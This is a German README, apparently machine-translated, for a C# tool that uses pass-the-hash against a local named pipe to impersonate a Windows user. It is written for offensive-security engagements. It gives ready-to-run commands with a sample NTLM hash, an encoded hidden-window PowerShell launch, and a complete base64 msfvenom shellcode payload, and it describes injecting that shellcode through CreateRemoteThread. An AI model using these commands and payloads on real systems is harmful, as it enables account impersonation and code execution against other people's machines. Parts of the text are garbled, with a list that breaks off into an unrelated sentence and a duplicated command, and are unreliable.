
Pass the Hash an eine Named Pipe zur Token-Impersonation
Dieses Projekt ist ein C#-Tool, das Pass-the-Hash zur Authentifizierung an einer lokalen Named Pipe für die Benutzerimitation verwendet. Sie benötigen lokale Administrator- oder SEImpersonate-Rechte, um dies zu nutzen. Es gibt einen Blog-Beitrag zur Erklärung:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
Es basiert stark auf dem Code des Projekts Sharp-SMBExec.
Ich bin in der Vergangenheit in bestimmten Offensive-Security-Projekt-Situationen auf ein Problem gestoßen, bei dem ich bereits den NTLM-Hash eines niedrig privilegierten Benutzerkontos hatte und eine Shell für diesen Benutzer auf dem aktuell kompromittierten System benötigte – dies war jedoch mit den derzeit verfügbaren öffentlichen Tools nicht möglich. Stellen Sie sich zwei weitere Fakten für eine solche Situation vor: Der NTLM-Hash konnte nicht geknackt werden und es gibt keinen Prozess des Opferbenutzers, in den Shellcode injiziert oder migriert werden könnte. Das mag für einige von euch wie ein absurder Grenzfall klingen. Ich habe dies dennoch mehrfach erlebt. Nicht nur in einem Engagement habe ich viel Zeit damit verbracht, nach dem richtigen Tool/der richtigen Technik für diese spezifische Situation zu suchen.
Meine persönlichen Ziele für ein Tool/eine Technik waren:
niedrig privilegierte Konten zu imitieren - abhängig von den Engagement-Zielen könnte es notwendig sein, auf ein System mit einem bestimmten Benutzer zuzugreifen, wie z.B. dem CEO, HR-Konten, SAP-Administratoren oder anderenDer imitierte Benutzer hat leider keine Netzwerk-Authentifizierung erlaubt, da der neue Prozess ein eingeschränktes Impersonation-Token verwendet. Daher können Sie diese Technik nur für lokale Aktionen mit einem anderen Benutzer verwenden.
Es gibt zwei Möglichkeiten, SharpNamedPipePTH zu verwenden. Entweder Sie führen eine Binärdatei aus (mit oder ohne Argumente):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
Oder Sie können Shellcode als der andere Benutzer ausführen:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Dies ist msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
Ich bin mit der Shellcode-Ausführung noch nicht zufrieden, da sie derzeit Notepad als den imitierten Benutzer startet und Shellcode in diesen neuen Prozess über D/Invoke CreateRemoteThread Syscall injiziert. Ich suche noch nach einer Möglichkeit, einen Prozess im Hintergrund zu starten oder Shellcode auszuführen, ohne einen Prozess des Zielbenutzers für die Speicherzuweisung zu haben.